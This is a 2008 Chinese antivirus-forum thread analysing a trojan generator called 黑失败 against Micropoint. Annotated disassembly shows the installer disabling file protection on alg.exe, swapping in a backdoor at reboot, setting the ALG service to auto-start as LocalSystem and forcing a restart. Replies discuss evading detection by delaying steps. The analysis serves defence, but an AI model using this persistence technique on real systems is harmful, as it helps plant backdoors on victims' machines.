【黑失败】在"微点"面前果然很失败
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=7659760e10295dcf6010548433ebae26[/img][img]http://mpicture.micropoint.com.cn/getpic.asp?sid=1e34621a3022f4162cb825d27bc959bd[/img] [img]http://mpicture.micropoint.com.cn/getpic.asp?sid=fda02ff84fdf26c4a7365bdacc16d52e[/img]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=f189179643a54ca5be1e054b28c024bf[/img] [img]http://mpicture.micropoint.com.cn/getpic.asp?sid=2cfa8b775b3d362bb2ff1624ebc22dcf[/img]
[color=#000000]好久不玩样本了,无聊去黑基转转,搞了一头“[b]黑失败[/b]”的生成器下来,说明很强大,猜想它的蓝屏不是杀子系统就是winlogon,有损本本寿命,用重新启动生了一个,一看没壳,汇编写的。[/color]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=7d3aeb10de0a816af2fa04c6bb58960c[/img]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=f025cdbf19a52026b8a861eaf8e56937[/img]
[color=#000000]004011BB |. 8945 E8 mov dword ptr ss:[ebp-18],eax
004011BE |. 53 push ebx ; /WideBufSize
004011BF |. FF75 E8 push dword ptr ss:[ebp-18] ; |WideCharBuf
004011C2 |. 6A FF push -1 ; |StringSize = FFFFFFFF (-1.)
004011C4 |. 68 84344000 push 复件_复?00403484 ; |StringToMap = "C:\windows\system32\alg.exe"
004011C9 |. 6A 00 push 0 ; |Options = 0
004011CB |. 6A 00 push 0 ; |CodePage = CP_ACP
004011CD |. E8 4C030000 call <jmp.&kernel32.MultiByteToWideChar> ; \MultiByteToWideChar
004011D2 |. 68 2E344000 push 复件_复?0040342E ; /FileName = "sfc_os.dll"
004011D7 |. E8 2A030000 call <jmp.&kernel32.LoadLibraryA> ; \LoadLibraryA
004011DC |. 6A 05 push 5 ; /ProcNameOrOrdinal = #5
004011DE |. 50 push eax ; |hModule
004011DF |. E8 0A030000 call <jmp.&kernel32.GetProcAddress> ; \GetProcAddress
004011E4 |. 8945 E4 mov dword ptr ss:[ebp-1C],eax
004011E7 |. 6A FF push -1
004011E9 |. FF75 E8 push dword ptr ss:[ebp-18]
004011EC |. 6A 00 push 0
004011EE |. FF55 E4 call dword ptr ss:[ebp-1C] ;调用SfcFileException对C:\windows\system32\alg.exe去除SFC保护
查找自身3E8资源,释放到%SystemRoot%\system32\目录下命名为DNA.dll,同理找资源7D0释放algdna.exe,接下来
00401343 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
00401348 |. 68 84344000 push 复件_复?00403484 ; |Buffer = 复件_复?00403484
0040134D |. E8 A2010000 call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
00401352 |. 68 56344000 push 复件_复?00403456 ; /StringToAdd = "\alg.exe"
00401357 |. 68 84344000 push 复件_复?00403484 ; |ConcatString = "C:\windows\system32\alg.exe"
0040135C |. E8 F3010000 call <jmp.&kernel32.lstrcatA> ; \lstrcatA
00401361 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
00401366 |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
0040136C |. 50 push eax ; |Buffer
0040136D |. E8 82010000 call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
00401372 |. 68 5F344000 push 复件_复?0040345F ; /StringToAdd = "\sdk"
00401377 |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
0040137D |. 50 push eax ; |ConcatString
0040137E |. E8 D1010000 call <jmp.&kernel32.lstrcatA> ; \lstrcatA
00401383 |. 6A 01 push 1 ; /Flags = REPLACE_EXISTING
00401385 |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
0040138B |. 50 push eax ; |NewName,"C:\windows\system32\sdk"
0040138C |. 68 84344000 push 复件_复?00403484 ; |ExistingName = "C:\windows\system32\alg.exe"
00401391 |. E8 82010000 call <jmp.&kernel32.MoveFileExA> ; \MoveFileExA,将alg.exe延时搬家到sdk
00401396 |. 6A 04 push 4 ; /Flags = DELAY_UNTIL_REBOOT
00401398 |. 6A 00 push 0 ; |NewName = NULL
0040139A |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
004013A0 |. 50 push eax ; |ExistingName,"C:\windows\system32\sdk"
004013A1 |. E8 72010000 call <jmp.&kernel32.MoveFileExA> ; \MoveFileExA,延时拆房
004013A6 |. 68 04010000 push 104 ; /BufSize = 104 (260.)
004013AB |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
004013B1 |. 50 push eax ; |Buffer
004013B2 |. E8 3D010000 call <jmp.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
004013B7 |. 68 64344000 push 复件_复?00403464 ; /StringToAdd = "\algdna.exe"
004013BC |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
004013C2 |. 50 push eax ; |ConcatString
004013C3 |. E8 8C010000 call <jmp.&kernel32.lstrcatA> ; \lstrcatA
004013C8 |. 6A 01 push 1 ; /Flags = REPLACE_EXISTING
004013CA |. 68 84344000 push 复件_复?00403484 ; |NewName = "C:\windows\system32\alg.exe"
004013CF |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
004013D5 |. 50 push eax ; |ExistingName,"C:\windows\system32\algdna.exe"
004013D6 |. E8 3D010000 call <jmp.&kernel32.MoveFileExA> ; \MoveFileExA,把后门放到拆过房的地基上,重盖房?很勤劳!换个门不可以么?
004013DB |. 68 04010000 push 104 ; /BufSize = 104 (260.)
004013E0 |. 8D85 D0FDFFFF lea eax,dword ptr ss:[ebp-230] ; |
004013E6 |. 50 push eax ; |PathBuffer
004013E7 |. 6A 00 push 0 ; |hModule = NULL
004013E9 |. E8 F4000000 call <jmp.&kernel32.GetModuleFileNameA> ; \GetModuleFileNameA
004013EE |. 6A 04 push 4 ; /Flags = DELAY_UNTIL_REBOOT
004013F0 |. 6A 00 push 0 ; |NewName = NULL
004013F2 |. 8D85 D0FDFFFF lea eax,dword ptr ss:[ebp-230] ; |
004013F8 |. 50 push eax ; |ExistingName,"C:\~~\黑失败2008 SP2正式版\复件 复件 客户端.exe"
004013F9 |. E8 1A010000 call <jmp.&kernel32.MoveFileExA> ; \MoveFileExA,喝慢性毒药
然后[/color]
[align=left][color=#000000]004013FE |. 68 3F000F00 push 0F003F
00401403 |. 6A 00 push 0
00401405 |. 6A 00 push 0
00401407 |. E8 A6000000 call <jmp.&advapi32.OpenSCManagerA>
0040140C |. 8BD8 mov ebx,eax
0040140E |. 68 FF010F00 push 0F01FF
00401413 |. 68 70344000 push 客户端.00403470 ; ASCII "ALG"
00401418 |. 53 push ebx
00401419 |. E8 9A000000 call <jmp.&advapi32.OpenServiceA> ;打开ALG服务
0040141E |. 8BF8 mov edi,eax
00401420 |. 53 push ebx
00401421 |. E8 7A000000 call <jmp.&advapi32.CloseServiceHandle>
00401426 |. 68 04010000 push 104 ; /Length = 104 (260.)
0040142B |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
00401431 |. 50 push eax ; |Destination
00401432 |. E8 05010000 call <jmp.&kernel32.RtlZeroMemory> ; \RtlZeroMemory
00401437 |. 6A 00 push 0 ; /DisplayName = NULL
00401439 |. 8D85 D4FEFFFF lea eax,dword ptr ss:[ebp-12C] ; |
0040143F |. 50 push eax ; |Password
00401440 |. 68 74344000 push 客户端.00403474 ; |ServiceStartName = "LocalSystem"
00401445 |. 6A 00 push 0 ; |pDependencies = NULL
00401447 |. 6A 00 push 0 ; |pTagId = NULL
00401449 |. 6A 00 push 0 ; |LoadOrderGroup = NULL
0040144B |. 6A 00 push 0 ; |BinaryPathName = NULL
0040144D |. 6A FF push -1 ; |ErrorControl = SERVICE_NO_CHANGE
0040144F |. 6A 02 push 2 ; |StartType = SERVICE_AUTO_START,改变服务启动类型为自动,之前为手动
00401451 |. 68 20010000 push 120 ; |ServiceType = SERVICE_WIN32_SHARE_PROCESS|SERVICE_INTERACTIVE_PROCESS
00401456 |. 57 push edi ; |hService
00401457 |. E8 3E000000 call <jmp.&advapi32.ChangeServiceConfigA>; \ChangeServiceConfigA
0040145C |. 57 push edi
0040145D |. E8 3E000000 call <jmp.&advapi32.CloseServiceHandle>
最后拿到自杀令牌准备开机后自杀,^_^
004010BC /$ 55 push ebp
004010BD |. 8BEC mov ebp,esp
004010BF |. 83C4 EC add esp,-14
004010C2 |. 8D4D FC lea ecx,dword ptr ss:[ebp-4]
004010C5 |. E8 12040000 call <jmp.&kernel32.GetCurrentProcess> ; [GetCurrentProcess
004010CA |. 51 push ecx ; /phToken
004010CB |. 68 FF010F00 push 0F01FF ; |DesiredAccess = STANDARD_RIGHTS_REQUIRED|TOKEN_ASSIGN_PRIMARY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE|TOKEN_QUERY|TOKEN_QUERY_SOURCE|TOKEN_ADJUST_PRIVILEGES|TOKEN_ADJUST_GROUPS|TOKEN_ADJUST_DEFAULT|100
004010D0 |. 50 push eax ; |hProcess
004010D1 |. E8 D6030000 call <jmp.&advapi32.OpenProcessToken> ; \OpenProcessToken
004010D6 |. C745 EC 01000000 mov dword ptr ss:[ebp-14],1
004010DD |. 8D45 F0 lea eax,dword ptr ss:[ebp-10]
004010E0 |. 50 push eax ; /pLocalId
004010E1 |. 68 00344000 push 客户端.00403400 ; |Privilege = "SeShutdownPrivilege"
004010E6 |. 6A 00 push 0 ; |SystemName = NULL
004010E8 |. E8 B9030000 call <jmp.&advapi32.LookupPrivilegeValueA> ; \LookupPrivilegeValueA
004010ED |. C745 F8 02000000 mov dword ptr ss:[ebp-8],2
004010F4 |. 6A 00 push 0 ; /pRetLen = NULL
004010F6 |. 6A 00 push 0 ; |pPrevState = NULL
004010F8 |. 6A 10 push 10 ; |PrevStateSize = 10 (16.)
004010FA |. 8D45 EC lea eax,dword ptr ss:[ebp-14] ; |
004010FD |. 50 push eax ; |pNewState
004010FE |. 6A 00 push 0 ; |DisableAllPrivileges = FALSE
00401100 |. FF75 FC push dword ptr ss:[ebp-4] ; |hToken
00401103 |. E8 8C030000 call <jmp.&advapi32.AdjustTokenPrivileges> ; \AdjustTokenPrivileges
00401108 |. 50 push eax
00401109 |. FF75 FC push dword ptr ss:[ebp-4] ; /hObject
0040110C |. E8 AD030000 call <jmp.&kernel32.CloseHandle> ; \CloseHandle
创建自杀条件
00401462 |. E8 55FCFFFF call 客户端.004010BC
00401467 |. 6A 00 push 0 ; /Reserved = 0
00401469 |. 6A 02 push 2 ; |Options = EWX_REBOOT
0040146B |. E8 1E000000 call <jmp.&user32.ExitWindowsEx> ; \ExitWindowsEx
总之很好很强大,在微点面前不愧为“黑失败”,只有自杀功能完成了,也就是前面代码为什么会以复件方式出现的原因了。微点两次报警全部放过,房子吔拆了,只不过拆的不是很高名,自杀水平倒是不错,重启后一个病毒进程都没发现,原因见微点日志,^_^。[/color]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=853dc1a11f39959bb631489b2afc525a[/img] [img]http://mpicture.micropoint.com.cn/getpic.asp?sid=5f98a29afbfa8d95a2dc29ae434b32a4[/img]
[img]http://mpicture.micropoint.com.cn/getpic.asp?sid=d32e737398ba21b865c90054d72eeee9[/img][/align][align=center]
[b][color=#0000ff]BY::unknown author[/color][/b][/align][align=center][b][color=#0000ff][/color][/b][/align]
[[i] 本帖最后由 Nblock 于 2008-7-27 17:15 编辑 [/i]] 呃…… 好像再次证明了[url]http://bbs.kafan.cn/thread-293013-1-1.html[/url]这个帖子好像有些不完善的地方 那个帖子是人家随手写的···大家看看罢了 [quote]原帖由 [i]killerwhale[/i] 于 2008-7-27 12:38 发表 [url=http://bbs.kafan.cn/redirect.php?goto=findpost&pid=4252331&ptid=293281][img]http://bbs.kafan.cn/images/common/back.gif[/img][/url]
呃…… 好像再次证明了[url=http://bbs.kafan.cn/thread-293013-1-1.html]http://bbs.kafan.cn/thread-293013-1-1.html[/url]这个帖子好像有些不完善的地方 [/quote]
[url=http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153]http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153[/url] [quote]原帖由 [i]kuririn[/i] 于 2008-7-27 13:33 发表 [url=http://bbs.kafan.cn/redirect.php?goto=findpost&pid=4252970&ptid=293281][img]http://bbs.kafan.cn/images/common/back.gif[/img][/url]
[url=http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153]http://bbs.kafan.cn/viewthread.php?tid=293013&page=5#pid4252153[/url] [/quote]
抱歉 我不明白您是什么意思
我说的不完善是指偷梁换柱alg.exe这一步微点不可能不报警 所以根本没有必要考虑新的alg.exe能否过微点的防火墙的问题
至于说每个步骤延时3秒钟…… 呵呵 没有了解过微点的判断原理 但是这样的话 微点的免杀是否也太好做了 只要把每一步动作延时就好了…… 汗一个
至于你跟局长讨论的防火墙问题…… 我认为大多数人用的防火墙(就是在卡饭开坛的) 简单替换后的文件不被拦截是不可能的 但是至于微点的防火墙拦不拦我没有测试过 所以不敢妄加评论 而且用微点不搭配其他防火墙的几乎没有人吧……
[[i] 本帖最后由 killerwhale 于 2008-7-27 14:12 编辑 [/i]]
回复 5楼 killerwhale 的帖子
我就用微点的墙的,个人用户没有那么危险吧 过来瞧瞧看回复 6楼 股林小弟 的帖子
个人用户首要做好的是打全系统补丁要不是资源特别紧张推荐还是换一些比较专业的防火墙 如OP 风云 我用的风云,发现网速比以前用微点5墙时好一些 我是菜鸟看不明白啊 哈,微点的墙防外完全不清楚,据说微点墙不能隐身,但防内在某种角度上说和ZA一样。见过微点墙和ZA都拦下木马出站,有个样本延时15分钟出站照样被二者拦住,甚至还有ZA没动静微点拦住的样本。还有难道替换系统文件本身不产生非法动作吗? 微点不错的,就是没序列号...... 呵呵,是不是想说微点很好很强大撒~~~ [quote]原帖由 [i]killerwhale[/i] 于 2008-7-27 13:50 发表 [url=http://bbs.kafan.cn/redirect.php?goto=findpost&pid=4253125&ptid=293281][img]http://bbs.kafan.cn/images/common/back.gif[/img][/url]
至于你跟局长讨论的防火墙问题…… 我认为大多数人用的防火墙(就是在卡饭开坛的) 简单替换后的文件不被拦截是不可能的 但是至于微点的防火墙拦不拦我没有测试过 所以不敢妄加评论 而且用[color=blue]微点不搭配其他防火墙的几乎没有人[/color]吧……[/quote]
现在本人平常单用微点,包括它的防火墙(规则五),没有搭配其它的墙。在最初试用微点的一个时期(2006年4月~2006年10月份)内,倒是搭配天网防火墙(自定义规则)。
[[i] 本帖最后由 pen 于 2008-7-28 13:51 编辑 [/i]] 貌似是号称纯汇编打造的远控木马 没测试过该木马 免杀不好做 不是很懂,不过支持一下[:17:] 搂主果然是才子,真细心,本人也用过不少防火墙但是实际用处貌似不大,你直接用日至分析到十一种好思路呵呵,谢谢指点了~ [:06:] 没有拿到样本 暂时不说话 永远别想逃出微点~~~~~~~··
页:
[1]